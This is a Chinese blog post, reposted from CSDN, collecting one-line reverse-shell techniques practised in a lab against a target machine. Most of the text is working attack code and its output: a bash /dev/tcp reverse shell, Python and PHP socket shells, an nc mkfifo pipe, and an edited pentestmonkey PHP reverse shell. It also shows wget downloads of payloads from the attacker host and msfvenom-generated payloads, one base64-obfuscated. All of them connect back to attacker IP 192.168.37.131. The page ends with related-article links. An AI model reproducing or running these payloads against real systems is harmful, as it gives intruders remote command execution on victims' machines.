常用的一句话反弹shell总结
文章转载来源:https://blog.csdn.net/qq_38684504/article/details/90047213#1.%20bash%E7%9B%B4%E6%8E%A5%E5%8F%8D%E5%BC%B9
最开始的时候连shell具体是啥都不太清楚,记得有本书上封面画着个坐着的小企鹅,写着Linux shell 才知道shell是Linux独有的编程语言。
经常听大佬们讲什么什么反弹shell,今天系统学习学起,昨天为此还特地学了学shell语言,感觉和反弹shell没多大关联......
目录
常用的一句话反弹shell总结
1. bash直接反弹
2. python一句话反弹shell
3. python脚本反弹shell
4. php一句话反弹shell
5. php脚本反弹shell
6. 使用nc命令获取靶机的反弹shell;
7. 使用Kali自带的脚本文件获取反弹shell
8. 使用msfvenom 获取一句话反弹shell
1. bash直接反弹
1.1> 在监听机上开启监听
nc -nvlp 8080
1.2> 在目标主机上写入bash反弹一句话
bash -i >& /dev/tcp/192.168.37.131/8080 0>&1 //注意,这个38.131就是攻击机,hacker的ip
代码讲解
bash -i:产生一个bash的交互环境;>&:将联合符号前面的内容与后面的内容相结合然后一起重定向给后者;
/dev/tcp/192.168.37.131/8080:与目标主机192.168.37.131/8080端口建立一个TCP连接;
0>&1:将标准输入与标准输出相结合,重定向到前面标准输出内容;
1.3> 查看监听机上是否监听到shell;
root@root:~# nc -nvlp 8080
listening on [any] 8080 ...
connect to [192.168.37.131] from (UNKNOWN) [192.168.37.143] 46567
[tom@redhat home]$ whoami //可以看到,已经连接上了TOM的主机
whoami
tom
[tom@redhat home]$ pwd
pwd
/home
[tom@redhat home]$
2. python一句话反弹shell
2.1> 直接在Kali上监听1234端口,在靶机上执行如下命令:
在kali上执行监听
root@root:/var/www/html# nc -nvlp 1234
listening on [any] 1234 ...
在被攻击端,也就是靶机上执行
[tom@redhat tmp]$ python -c 'import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.37.131",1234));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);'
2.2> 在Kali上查看监听到的1234端口,获取反弹shell;
root@root:/var/www/html# nc -nvlp 1234
listening on [any] 1234 ...
connect to [192.168.37.131] from (UNKNOWN) [192.168.37.143] 35065
sh-4.1$ whoami //可以看到,监听成功
whoami
tom
sh-4.1$
3. python脚本反弹shell
这个和上面那个python直接反弹shell没啥区别,就是让靶机从攻击机上面下载文件并执行
3.1> 在Kali的web访问目录下准备shell.py;并执行python -m SimpleHTTPServer 80,搭建简易Web服务(注:web服务在/var/www/html目录下开启,当然也可以直接开启阿帕奇服务 /etc/init.d/apache2 start);
root@root:~# cd /var/www/html/
root@root:/var/www/html# vim shell.py
root@root:/var/www/html# cat shell.py #shell.py的内容
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.37.131",1234))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/bash","-i"])
root@root:/var/www/html# /etc/init.d/apache2 start #开启Apache服务
[ ok ] Starting apache2 (via systemctl): apache2.service.
3.2> 将python shell脚本下载到目标靶机系统;(一般下载到/tmp目录下)
[tom@redhat tmp]$ wget http://192.168.37.131/shell.py
--2019-05-20 13:54:58-- http://192.168.37.131/shell.py
正在连接 192.168.37.131:80... 已连接。
已发出 HTTP 请求,正在等待回应... 200 OK
长度:218 [text/x-python]
正在保存至: “shell.py.1” 100%[======================================>] 218 --.-K/s in 0s 2019-05-20 13:54:58 (13.6 MB/s) - 已保存 “shell.py.1” [218/218])
3.3> 下载成功后,在Kali上开启监听端口1234;并在靶机上运行python脚本 ;
在Kali上开启监听端口1234:
root@root:/var/www/html# nc -nvlp 1234
listening on [any] 1234 ...
在靶机上执行下载的python脚本文件:
[tom@redhat tmp]$ python shell.py
3.4>查看Kali上监听的端口1234,获取靶机的反弹shell;
root@root:/var/www/html# nc -nvlp 1234
listening on [any] 1234 ...
connect to [192.168.37.131] from (UNKNOWN) [192.168.37.143] 35053
[tom@redhat tmp]$ whoami
whoami
tom
[tom@redhat tmp]$ ifconfig
ifconfig
eth1 Link encap:Ethernet HWaddr 00:0C:29:EF:E0:1D
inet addr:192.168.37.143 Bcast:192.168.37.255 Mask:255.255.255.0
inet6 addr: fe80::20c:29ff:feef:e01d/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:2605 errors:0 dropped:0 overruns:0 frame:0
TX packets:286 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:186570 (182.1 KiB) TX bytes:24850 (24.2 KiB)
4. php一句话反弹shell
4.1> 直接在Kali上监听1234端口,在靶机上执行如下命令:
root@root:/var/www/html# nc -nvlp 1234 //攻击机
listening on [any] 1234 ...
[tom@redhat tmp]$ php -r '$sock=fsockopen("192.168.37.131",1234); exec("/bin/sh -i <&3 >&3 2>&3");' //靶机
4.2> 在Kali上查看监听到的1234端口,获取反弹shell;
root@root:/var/www/html# nc -nvlp 1234
listening on [any] 1234 ...
connect to [192.168.37.131] from (UNKNOWN) [192.168.37.143] 35064
sh-4.1$ whoami
whoami
tom
sh-4.1$
4.3> 将shell转化为交互的tty;
python -c 'import pty;pty.spawn("/bin/bash")' sh-4.1$ python -c 'import pty;pty.spawn("/bin/bash")'
python -c 'import pty;pty.spawn("/bin/bash")' //不大明白这是啥意思
[tom@redhat tmp]$ whoami
whoami
tom
[tom@redhat tmp]$
5. php脚本反弹shell
5.1> 在KALI中添加shell.php;并开启Apache服务;
<?php
$sock=fsockopen("192.168.37.131",1234);
exec("/bin/sh -i <&3 >&3 2>&3");
?>
/etc/init.d/apache2 start
root@root:~# cd /var/www/html/
root@root:/var/www/html# vim shell.php
root@root:/var/www/html# cat shell.php #php脚本
<?php $sock=fsockopen("192.168.37.131",1234);exec("/bin/sh -i <&3 >&3 2>&3");?>
root@root:/var/www/html# /etc/init.d/apache2 start #开启Apache服务
[ ok ] Starting apache2 (via systemctl): apache2.service.
root@root:/var/www/html#
5.2> 在靶机上下载该脚本;
[tom@redhat tmp]$ wget http://192.168.37.131/shell.php
--2019-05-20 14:21:56-- http://192.168.37.131/shell.php
正在连接 192.168.37.131:80... 已连接。
已发出 HTTP 请求,正在等待回应... 200 OK
长度:80 [text/plain]
正在保存至: “shell.php” 100%[======================================>] 80 --.-K/s in 0s 2019-05-20 14:21:56 (4.53 MB/s) - 已保存 “shell.php” [80/80])
5.3> 下载成功后,在Kali上开启监听端口1234;并在靶机上运行python脚本 ;
在Kali上开启监听端口1234:
root@root:/var/www/html# nc -nvlp 1234
listening on [any] 1234 ...
在靶机上执行下载的php脚本文件:
[tom@redhat tmp]$ php shell.php
5.4>查看Kali上监听的端口1234,获取靶机的反弹shell;
root@root:/var/www/html# nc -nvlp 1234
listening on [any] 1234 ...
connect to [192.168.37.131] from (UNKNOWN) [192.168.37.143] 35063
sh-4.1$ whoami
whoami
tom
sh-4.1$ ifconfig
ifconfig
eth1 Link encap:Ethernet HWaddr 00:0C:29:EF:E0:1D
inet addr:192.168.37.143 Bcast:192.168.37.255 Mask:255.255.255.0
inet6 addr: fe80::20c:29ff:feef:e01d/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:2748 errors:0 dropped:0 overruns:0 frame:0
TX packets:369 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:204505 (199.7 KiB) TX bytes:32844 (32.0 KiB)
6. 使用nc命令获取靶机的反弹shell;
6.1> 在靶机上输入如下命令;
[tom@redhat tmp]$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.37.131 1234 >/tmp/f;
//这里有个疑惑,不知道靶机没装netcat也能用nc命令? 问了大佬,这是不可以的,靶机一定装了Netcat才能用nc命令
问题:大佬们,使用nc获取靶机的反弹shell,靶机是不是也得安装netcat?
解释: 不一定 你强调的是用nc接收shell 而靶机发送shell有多种方式 linux可以用bash windows可以用powershell
6.2> 在Kali上监听1234端口;
root@root:/var/www/html# nc -nvlp 1234
listening on [any] 1234 ...
connect to [192.168.37.131] from (UNKNOWN) [192.168.37.143] 35067
sh-4.1$ whoami
whoami
tom
sh-4.1$
7. 使用Kali自带的脚本文件获取反弹shell
7.1> 查看Kali上的php-reverse-shell.php,另存为并修改监听的IP地址;
root@root:~# cd /usr/share/webshells/
root@root:/usr/share/webshells# ls
asp aspx cfm jsp perl php
root@root:/usr/share/webshells# cd php
root@root:/usr/share/webshells/php# ls
findsock.c php-findsock-shell.php qsd-php-backdoor.php
php-backdoor.php php-reverse-shell.php simple-backdoor.php
root@root:/usr/share/webshells/php# cat php-reverse-shell.php
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
//
// This tool may be used for legal purposes only. Users take full responsibility
...... root@root:/usr/share/webshells/php# cp php-reverse-shell.php /var/www/html/
root@root:/usr/share/webshells/php# cd /var/www/html/
root@root:/var/www/html# ls
1.html a.js index.html shell.elf
1.php decode.py index.nginx-debian.html shell.php
2.html dirty.c php-reverse-shell.php shell.py
37292.c dirtycow-master shell.c shell.txt
root@root:/var/www/html# vim php-reverse-shell.php
root@root:/var/www/html# cat php-reverse-shell.php #修改监听的IP地址
......
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck. set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.37.131'; // CHANGE THIS #修改IP地址
$port = 1234; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
......
root@root:/var/www/html# /etc/init.d/apache2 start
[ ok ] Starting apache2 (via systemctl): apache2.service.
7.2> 将文件上传到靶机上;并监听1234端口,执行文件,获取反弹shell;
8. 使用msfvenom 获取一句话反弹shell
当我们不记得前面说的所有反弹shell的反弹语句时,只要我们有Metasploit,就可以生成我们所需要的各类命令行一句话,具体使用方法如下:
8.1 查询 payload 具体路径
我们直接可以使用 msfvenom -l 结合关键字过滤(如cmd/unix/reverse),找出我们需要的各类反弹一句话payload的路径信息。找windows的也同理!!!
root@root:~# msfvenom -l payloads |grep "cmd/unix/reverse"
cmd/unix/reverse Creates an interactive shell through two inbound connections
cmd/unix/reverse_awk Creates an interactive shell via GNU AWK
cmd/unix/reverse_bash Creates an interactive shell via bash's builtin /dev/tcp. This will not work on most Debian-based Linux distributions (including Ubuntu) because they compile bash without the /dev/tcp feature.
cmd/unix/reverse_bash_telnet_ssl Creates an interactive shell via mkfifo and telnet. This method works on Debian and other systems compiled without /dev/tcp support. This module uses the '-z' option included on some systems to encrypt using SSL.
cmd/unix/reverse_lua Creates an interactive shell via Lua
cmd/unix/reverse_ncat_ssl Creates an interactive shell via ncat, utilizing ssl mode
cmd/unix/reverse_netcat Creates an interactive shell via netcat
cmd/unix/reverse_netcat_gaping Creates an interactive shell via netcat
cmd/unix/reverse_nodejs Continually listen for a connection and spawn a command shell via nodejs
cmd/unix/reverse_openssl Creates an interactive shell through two inbound connections
cmd/unix/reverse_perl Creates an interactive shell via perl
cmd/unix/reverse_perl_ssl Creates an interactive shell via perl, uses SSL
cmd/unix/reverse_php_ssl Creates an interactive shell via php, uses SSL
cmd/unix/reverse_python Connect back and create a command shell via Python
cmd/unix/reverse_python_ssl Creates an interactive shell via python, uses SSL, encodes with base64 by design.
cmd/unix/reverse_r Connect back and create a command shell via R
cmd/unix/reverse_ruby Connect back and create a command shell via Ruby
cmd/unix/reverse_ruby_ssl Connect back and create a command shell via Ruby, uses SSL
cmd/unix/reverse_socat_udp Creates an interactive shell via socat
cmd/unix/reverse_ssl_double_telnet Creates an interactive shell through two inbound connections, encrypts using SSL via "-z" option
cmd/unix/reverse_stub Creates an interactive shell through an inbound connection (stub only, no payload)
cmd/unix/reverse_zsh Connect back and create a command shell via Zsh. Note: Although Zsh is often available, please be aware it isn't usually installed by default.
8.2> 生成我们所需要的一句话反弹shell;
msfvenom -p cmd/unix/reverse_bash lhost=192.168.37.131 lport=1234 R #bash反弹一句话 msfvenom -p cmd/unix/reverse_netcat lhost=192.168.37.131 lport=1234 R #nc反弹一句话 msfvenom -p cmd/unix/reverse_python lhost=192.168.37.131 lport=1234 R #python反弹一句话 ...... root@root:~# msfvenom -p cmd/unix/reverse_bash lhost=192.168.37.131 lport=1234 R
No platform was selected, choosing Msf::Module::Platform::Unix from the payload
No Arch selected, selecting Arch: cmd from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 68 bytes
0<&178-;exec 178<>/dev/tcp/192.168.37.131/1234;sh <&178 >&178 2>&178 root@root:~# msfvenom -p cmd/unix/reverse_netcat lhost=192.168.37.131 lport=1234 R
No platform was selected, choosing Msf::Module::Platform::Unix from the payload
No Arch selected, selecting Arch: cmd from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 93 bytes
mkfifo /tmp/fqzh; nc 192.168.37.131 1234 0</tmp/fqzh | /bin/sh >/tmp/fqzh 2>&1; rm /tmp/fqzh
root@root:~# msfvenom -p cmd/unix/reverse_python lhost=192.168.37.131 lport=1234 R
No platform was selected, choosing Msf::Module::Platform::Unix from the payload
No Arch selected, selecting Arch: cmd from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 573 bytes
python -c "exec('aW1wb3J0IHNvY2tldCAgICAgICAsICAgICAgc3VicHJvY2VzcyAgICAgICAsICAgICAgb3MgICAgICAgICA7IGhvc3Q9IjE5Mi4xNjguMzcuMTMxIiAgICAgICAgIDsgcG9ydD0xMjM0ICAgICAgICAgOyBzPXNvY2tldC5zb2NrZXQoc29ja2V0LkFGX0lORVQgICAgICAgLCAgICAgIHNvY2tldC5TT0NLX1NUUkVBTSkgICAgICAgICA7IHMuY29ubmVjdCgoaG9zdCAgICAgICAsICAgICAgcG9ydCkpICAgICAgICAgOyBvcy5kdXAyKHMuZmlsZW5vKCkgICAgICAgLCAgICAgIDApICAgICAgICAgOyBvcy5kdXAyKHMuZmlsZW5vKCkgICAgICAgLCAgICAgIDEpICAgICAgICAgOyBvcy5kdXAyKHMuZmlsZW5vKCkgICAgICAgLCAgICAgIDIpICAgICAgICAgOyBwPXN1YnByb2Nlc3MuY2FsbCgiL2Jpbi9iYXNoIik='.decode('base64'))"
8.3> 在Kali上监听端口,在靶机上执行生成的一句话shell;即可获取目标的反弹shell;
常用的一句话反弹shell总结的更多相关文章
- 【技术分享】linux各种一句话反弹shell总结——攻击者指定服务端,受害者主机(无公网IP)主动连接攻击者的服务端程序(CC server),开启一个shell交互,就叫反弹shell。
反弹shell背景: 想要搞清楚这个问题,首先要搞清楚什么是反弹,为什么要反弹.假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规 ...
- 轻便的一句话反弹shell语句
反弹shell往往是在攻击者无法直接连接受害者的情况下进行的操作,原因有很多,例如目标是局域网,或者开启防火墙的某些策略等情况,而这时,我们就可以让受害者主动向攻击者发起连接,被控端发起请求到控制端某 ...
- 各种语言一句话反弹shell
Bash [不通用,跟linux发行版本有关,在ubuntu上测试成功] bash -i >& /dev/tcp/ >& Perl perl -e 'use Socket; ...
- linux 常用反弹shell小记
在渗透测试过程中由于防火墙和其它安全防御措施,很多服务器只能单向向外访问,不能被访问,我们常常需要反弹shell. 1.bash反弹shell 本地开启监听 nc -lvvp 受害主机命令 bash ...
- 小白日记40:kali渗透测试之Web渗透-SQL手工注入(二)-读取文件、写入文件、反弹shell
SQL手工注入 1.读取文件[load_file函数] ' union SELECT null,load_file('/etc/passwd')--+ burpsuite 2.写入文件 ' unio ...
- linux下反弹shell
01 前言 CTF中一些命令执行的题目需要反弹shell,于是solo一波. 02 环境 win10 192.168.43.151 监听端 装有nc kali ...
- Linux渗透之反弹Shell
前言 当我们在渗透Linux主机时,反弹一个交互的shell是非常有必要的.在搜索引擎上搜索关键字“Linux 反弹shell”,会出现一大堆相关文章,但是其内容不但雷同,而且都仅仅是告诉我们执行这个 ...
- Linux下几种反弹Shell方法的总结与理解
之前在网上看到很多师傅们总结的linux反弹shell的一些方法,为了更熟练的去运用这些技术,于是自己花精力查了很多资料去理解这些命令的含义,将研究的成果记录在这里,所谓的反弹shell,指的是我们在 ...
- [Shell]多姿势反弹shell
客户端监听本地: nc -nvlp 4444 从原生的 shell 环境切换到 linux 的交互式 bash 环境: python -c 'import pty; pty.spawn("/ ...
随机推荐
- IDM下载器的自定义设置
IDM(Internet Download Manager)下载器主窗口的左侧是下载类别的分类,提供了分类功能来组织和管理文件.如果不需要它,可以删除"分类"窗口,并且在下载文件时 ...
- JS获取当前日期及 js获取当前时间和一星期前的时间
var myDate = new Date(); new Date() 代表当前 年 月 日 时 分 秒: myDate.getYear(); //获取当前年份(2位),getY ...
- 利用perspective 和 transform 里面的几个参数来实现旋转照片墙
旋转照片墙 首先,来看下,是什么效果吧,上效果图 ↓ 其实这个东西,很容易制作,先说下思路, 把照片都给叠在一起,然后 rotateY 旋转,给每张图片 旋转不一样的角度能构成一圈, 然后transl ...
- 2020.7.19 区间dp阶段测试
打崩了-- 事先说明,今天没有很在状态,所以题解就直接写在代码注释里的,非常抱歉 T1 颜色联通块 此题有争议,建议跳过 题目描述 N 个方块排成一排,第 i 个颜色为 Ci .定义一个颜色联通块 [ ...
- 盘点腾讯Linux、 C++后台开发面试题,做好充足准备,不怕被Pass
一.C/C++ const 多态 什么类不能被继承 二.网络 网络的字节序 网络知识 TCP三次握手 各种细节 timewait状态 TCP与UDP的区别 概念 适用范围 TCP四次挥 ...
- MySQL中的事务原理和锁机制
本文主要总结 MySQL 事务几种隔离级别的实现和其中锁的使用情况. 在开始前先简单回顾事务几种隔离级别以及带来的问题. 四种隔离级别:读未提交.读已提交.可重复读.可串行化. 带来的问题:脏读.不可 ...
- jvm系列(二)jvm垃圾收集器与内存分配策略
众所周知,在java语言中,内存分配和回收是由jvm自动管理的.因此内存的分配和回收也是jvm三大功能之一.垃圾收集器(GC)需要完成三件事情: 哪些内存需要回收? 什么时候进行回收? 如何回收? 本 ...
- eNSP VLAN划分基础配置及Access接口
交换机内实现VLAN通信拓扑图: 一.修改主机名并保存 1.进入系统视图模式(配置模式) <Huawei>system-view 2.sysname命令修改主机名为yanyuda [Hua ...
- fist-第五天冲刺随笔
这个作业属于哪个课程 https://edu.cnblogs.com/campus/fzzcxy/2018SE1 这个作业要求在哪里 https://edu.cnblogs.com/campus/fz ...
- Java 命名之道
为什么需要重视命名? 好的命名即是注释,别人一看到你的命名就知道你的变量.方法或者类是做什么的! 好的命名对于其他人(包括你自己)理解你的代码有着很大的帮助! 简单举个例子说明一下命名的重要性. &l ...